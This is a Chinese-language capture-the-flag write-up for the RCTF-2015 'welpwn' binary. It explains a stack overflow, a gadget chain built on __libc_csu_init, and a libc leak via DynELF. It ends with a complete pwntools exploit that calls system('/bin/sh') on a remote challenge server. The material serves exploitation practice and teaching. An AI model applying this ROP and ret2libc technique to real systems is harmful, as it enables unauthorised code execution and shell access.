题目来源: RCTF-2015
题目描述:暂无
echo中存在栈溢出,不过它只会复制到buf的第一个'\x00',而64位地址一定含有'\x00',因此最好情况只能覆盖ret
但是,因为溢出之后接着的就是buf,所以可以将ret覆盖成一个连着pop4次的gadget,然后就能接着rop链了
本体还涉及到万能gadget,位于__libc_csu_init中,是这个样子的
可以把这个拆成两部分,分别记为rop1(0x40089a)和rop2(0x400880)
首先先调用rop1,这样可以赋值rbx,rbp,r12,r13,r14,r15,然后调用rop2
这里面一般情况下,rbx赋值为0,r12赋值为要调用的函数地址,这样在0x400889处会直接调用r12对应的函数
rbp赋值为1,因为0x40088d处rbx会变成1,然后0x400891会将rbx与rbp比较,如果不相等会跳转回0x400880,而我们是希望它相等的
r13赋值rdx,r14赋值rsi,r15赋值rdi
之后rop2会继续rop1部分,1个rsp+8加上六个pop,共需要有一个7个字节的padding,之后才是下一个ret
exp如下:
from pwn import * #io = process('./welpwn') #io = gdb.debug('./welpwn', 'b *0x4007CB') io = remote('111.200.241.244', 54112) #context.log_level = 'debug' pop_r12_r13_r14_r15 = 0x40089c pop_rdi = 0x4008a3 rop_1 = 0x40089a rop_2 = 0x400880 write_got = 0x601020 read_got = 0x601038 start_addr = 0x400630 goal_addr = 0x601100 def leak(address): io.recv(1024) payload = b'a' * 24 + p64(pop_r12_r13_r14_r15) payload += p64(rop_1) payload += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(address) + p64(1) payload += p64(rop_2) + p64(0) * 7 + p64(start_addr) io.send(payload) addr = io.recv(8) return addr d = DynELF(leak, elf = ELF('./welpwn')) system_addr = d.lookup('system', 'libc') info('system:'+str(hex(system_addr))) io.recv(1024) payload = b'a' * 24 + p64(pop_r12_r13_r14_r15) payload += p64(rop_1) payload += p64(0) + p64(1) + p64(read_got) + p64(8) + p64(goal_addr) + p64(0) payload += p64(rop_2) + p64(0) * 7 payload += p64(pop_rdi) + p64(goal_addr) + p64(system_addr) io.send(payload) io.send(b'/bin/sh\x00') io.interactive()